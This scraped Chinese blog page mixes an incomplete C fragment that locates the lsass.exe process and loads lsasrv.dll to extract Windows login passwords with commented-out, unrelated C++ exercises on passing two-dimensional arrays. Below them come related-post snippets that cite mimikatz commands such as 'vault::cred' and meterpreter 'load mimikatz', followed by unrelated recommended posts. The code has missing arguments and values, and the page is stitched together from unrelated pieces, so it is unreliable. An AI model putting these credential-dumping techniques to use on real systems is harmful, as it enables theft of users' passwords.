- NTSTATUS ret = NtQueryInformationProcess(handle, , buf, sizeof(buf),&retlen);
- if (!ret)
- {
- //L"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\cmd.exe"
- wchar_t *Buf = (wchar_t*)((char*)buf + );
- if (wcsstr(Buf, L"\\lsass.exe"))
- {
- hProcess = handle;
- break;
- }
- }
- }
- }
- //判断系统版本
- OSVERSIONINFOA VI = { };
- VI.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
- LPOSVERSIONINFOA VersionInfo = &VI;
- ret = GetVersionEx(VersionInfo);
- if (!ret) { GetLastError(); }
- printf("当前系统版本:%d.%d\n",VI.dwMajorVersion,VI.dwMinorVersion);
- //获取解密函数的地址
- /*
- 微软打了这个补丁 在部分win7 是可以的
- */
- HMODULE hLsasrv = LoadLibrary("lsasrv.dll");
- { GetLastError(); }
- system("pause");
- return ;
- }
- //#include <iostream>
- //#include <conio.h>
- //using namespace std;
- //
- //
- //void are7(int(&arr)[3][4]); //引用的方式
- //void are6(int(*arr)[3][4]); //二维数组指针的方式
- //void are5(int *arr, int, int); //一维指针方式
- //void are4(int **arr, int, int); //动态分配
- //void are3(int(*arr)[4], int); //传入高
- //void are2(int arr[][4], int); //传入高
- //void are1(int arr[][4]); //高不用填,但一定要一个列
- //
- //int main()
- //{
- // //int arr2[3][4] = {
- // // { 1, 2, 3 },
- // // { 4, 5, 6, 7 },
- // // { 8, 9, 10, 11 },
- // //};
- // //are1(arr2);//二维数组直接传递,退化为指针
- // //are2(arr2, 3);
- // //are3(arr2,3);
- // //int *p = &arr2[0][0];
- // //are4(&p, 3, 4);
- // //are5((int*)arr2,3,4);
- // //are5(arr2[0],3,4);
- // //are6(&arr2);
- // //are7(arr2);
- // system("pause");
- // return 0;
- //}
- //void are1(int arr[][4])
- //{
- // for (int i = 0; i < 3; i++)
- // {
- // for (int j = 0; j < 4; j++)
- // {
- // cout << arr[i][j] << " ";
- // }
- // cout << endl;
- // }
- //}
- //void are2(int arr[][4], int len)
- //{
- // for (int i = 0; i < len; i++)
- // {
- // for (int j = 0; j < 4; j++)
- // {
- // cout << arr[i][j] << " ";
- // }
- // cout << endl;
- // }
- //}
- //void are3(int(*arr)[4], int len)
- //{
- // for (int i = 0; i < len; i++)
- // {
- // for (int j = 0; j < 4; j++)
- // {
- // std::cout << arr[i][j] << " ";
- // }
- // std::cout << std::endl;
- // }
- //}
- //void are4(int **arr, int len, int row)
- //{
- // arr = new int*[len];
- // for (int i = 0; i < len; i++)
- // {
- // arr[i] = new int[row];
- // }
- // for (int i = 0; i < len; i++)
- // {
- // for (int j = 0; j < row; j++)
- // {
- // std::cout << arr[i][j] << " ";
- // }
- // std::cout << std::endl;
- // }
- //}
- //void are5(int *arr, int len, int row)
- //{
- // for (int i = 0; i < len; i++)
- // {
- // for (int j = 0; j < row; j++)
- // {
- // std::cout << arr[j + i * row] << " ";
- // }
- // std::cout << std::endl;
- // }
- //}
- //void are6(int(*arr)[3][4])
- //{
- // for (int i = 0; i < 3; i++)
- // {
- // for (int j = 0; j < 4; j++)
- // {
- // std::cout << (*arr)[i][j] << " ";
- // }
- // std::cout << std::endl;
- // }
- //}
- //void are7(int(&arr)[3][4])
- //{
- // for (int i = 0; i < 3; i++)
- // {
- // for (int j = 0; j < 4; j++)
- // {
- // std::cout << arr[i][j] << " ";
- // }
- // std::cout << std::endl;
- // }
- //}
Windows 获取windows密码的更多相关文章
- 通过PowerShell获取Windows系统密码Hash
当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大 ...
- 获取windows凭证管理器明文密码
1.运行cmdkey /list查看windows保存凭证 方法1.mimikaz mimikatz vault::cred 2.利用powershell尝试获取 windows 普通凭据类型中的明文 ...
- [源码]一键获取windows系统登陆密码vc6版源码
[源码]一键获取windows系统登陆密码vc6版源码支持:XP/2000/2003/WIN7/2008等 此版本编译出来的程序体积较小几十KB... 而vs版则1点几M,体积整整大了2-30倍对某些 ...
- 转:获取windows凭证管理器明文密码
1.运行cmdkey /list查看windows保存凭证 方法1.mimikaz mimikatz vault::cred 2.利用powershell尝试获取 windows 普通凭据类型中的明文 ...
- meterpreter中使用mimikatz获取windows密码
进去meterpreter后getuid一下 这获得系统管理员权限 开始 加载mimikatz模块 load mimikatz 加载成功. 第一种方法: 获取登录密码的hash值 msv 上面已经是得 ...
- Redis For Windows安装及密码
启动要先开启一个控制台作为服务端,启动服务,然后在重新打开一个控制台,连接服务进行操作. redis-server.exe redis.conf 重新打开一个控制台,刚开始连接服务,因为初始没有密码, ...
- c++ windows 获取mac地址
c++ windows 获取mac地址 GetAdaptersInfo 用windows api获取mac地址和硬盘id编号 aa
- [C语言](二)01 获取Windows图形构件大小信息
SYSMETS.c #include <windows.h> #include "SYSMETS.H"//自定义的单元,所以用"",不是用<& ...
- C# 获取windows特殊路径
虽然是古老的问题,最近用到这个,查一下还不少东东呐 一.使用Environment.SpecialFolder 该方法最简单,直接使用即可,只是提供的特殊路径比较少. (1)使用方法:string p ...
随机推荐
- webpack第一节(2)
安装webpack在文件夹中 安装完成如图所示 牛刀小试 在webpack-test根目录下新建一个hello.js (不新建在node-modules文件夹下面的目的是,该文件夹是webpack的依 ...
- linux修改Jvm内存限制
一.直接通过java 命令去执行class文件的时候,也可以设置JVM参数,eg : java -Xms512m -Xmx1024m HelloWorld在cmd中设置,也必须是执行java命令时 堆 ...
- Jquery中的offset()和position()深入剖析(元素定位)
先看看这两个方法的定义. offset(): 获取匹配元素在当前视口的相对偏移. 返回的对象包含两个整形属性:top 和 left.此方法只对可见元素有效. position(): 获取匹配元素相对父 ...
- C#的一些代码
form读取配置文件 /// <summary> /// 读取配置文件 /// </summary> /// <param name="key"> ...
- 【leetcode】835. Image Overlap
题目如下: 解题思路:抛开移动的过程只看移动完成的结果,记图片左上角为顶点,正方形边长为board,要使得两个图片要有重叠,那么一定其中一张图片的顶点和另外一张图片的某一个点重合.假设图片A的顶点A( ...
- Java排序算法 [选择、冒泡、快排]
选择排序: 简述:从数组的第一个元素开始,依次与其他所有的元素对比,如果比自身大或小(取决于升序或降序)交换位置. package com.sort; import java.util.Arrays; ...
- LA 3971 Assemble(二分)
题目: 给你b元钱,让你组装一台电脑,有n个配件,属性有 种类 名字 价格 品质,每种类型选至少一个,并且最小品质最大.输出这个最大的最小品质. 白书上说了,最小值最大的问题一般是二分来求解答案.在这 ...
- BZOJ 2839: 集合计数(二项式反演)
传送门 解题思路 设\(f(k)\)为交集元素个数为\(k\)的方案数.发现我们并不能直接求出\(f(k)\),就考虑容斥之类的东西,容斥首先要扩大限制,再设\(g(k)\)表示至少有\(k\)个交集 ...
- IDEA2019.1.3最新破解方式
版本2019.1.3 1.下载破解JAR,放入IDEA的bin文件夹中 链接:https://pan.baidu.com/s/1N1BHeJ0-mmFIWbrh5h4k-g 提取码:g ...
- PHP【Laravel】delayer基于redis的实现订单超时改变状态
实现这个功能前你需要知道以下,不然可能会比较吃力:1.服务器的计划任务,shell脚本,或者你有宝塔自带的计划任务会方便很多.2.有所了解Redis.3.会写PHP业务逻辑. 好了进入在正题,这里使用 ...